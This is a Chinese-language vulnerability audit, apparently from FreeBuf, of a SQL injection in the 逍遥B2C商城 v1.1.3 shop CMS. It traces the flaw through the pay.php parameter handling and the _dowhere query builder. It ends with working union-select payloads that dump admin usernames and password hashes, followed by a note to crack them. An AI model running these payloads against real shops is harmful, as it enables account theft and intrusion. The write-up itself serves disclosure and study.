环境准备
系统:Ubuntu 20.4
网站环境:宝塔(php7.2+mysql5.7.43)
工具:IntelliJ IDEA、burp suite
CMS版本:逍遥B2C商城v1.1.3
审计过程
进入漏洞点前先看看参数全局处理方法,源码中对于GET、POST、COOKIE的传参,会分别加上_g_、_p_、_c_的前缀
直接来到漏洞点,漏洞点位于public/plugin/payment/alipay/pay.php:35行
$order_id变量虽然经过pe_dbhold函数的过滤,但是因为此处sql语句的处理的问题(后文),不需要闭合引号,导致pe_dbhold函数失去了防护意义,pe_dbhold函数原型如下:
跟入order_table函数,函数的作用是如果参数存在_符号,就将参数根据_打散为数组,并返回order_和数组第一值组成的字符串,否则返回order字符串
pe_select方法的传参处理完成,跟入到pe_select方法
pe_select方法先经过_dowhere方法构造where子句,$where经过_dowhere方法处理完成后和$table一起拼接到sql语句中执行,_dowhere方法源码如下:
//处理条件语句 protected function _dowhere($where) { if (is_array($where)) { foreach ($where as $k => $v) { $k = str_ireplace('`', '', $k); if (is_array($v)) { $where_arr[] = "`{$k}` in('".implode("','", $v)."')"; } else { in_array($k, array('order by', 'group by')) ? ($sqlby .= " {$k} {$v}") : ($where_arr[] = "`{$k}` = '{$v}'"); } } $sqlwhere = is_array($where_arr) ? 'where '.implode($where_arr, ' and ').$sqlby : $sqlby; } else { $where && $sqlwhere = (stripos(trim($where), 'order by') === 0 or stripos(trim($where), 'group by') === 0) ? "{$where}" : "where 1 {$where}"; } return $sqlwhere; }
结合之前的分析,发现查询语句的表名和后面的where子句是我们可控的参数
要想注入成功,需要满足的条件:
1.传参必须以pay`开头,因为cms只有一个order_pay表;
2.绕过单引号的闭合。
根据此处需要满足的条件,order_table函数成为突破的关键,order_table会根据_将$order_id打散为数组,第一部分拼接到表名,之后将$order_id拼接到where子句,那么将第一部分和后面的部分以/*_*/作为连接点不就可以成功将表名到固定的where部分全部注释掉吗?
漏洞验证
有了之前的结论,直接实战测试,构造poc如下:
//已知xy_admin表有12个字段,具体需测试
pay`+/*_*/where+false+union+select+1,2,3,4,5,6,7,8,9,10,11,12+from+xy_admin%23
找到两个回显点,构造获取后台账号密码的poc:
pay`+/*_*/where+false+union+select+admin_name,2,admin_pw,4,5,6,7,8,9,10,11,12+from+xy_admin%23
破解一下密码
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)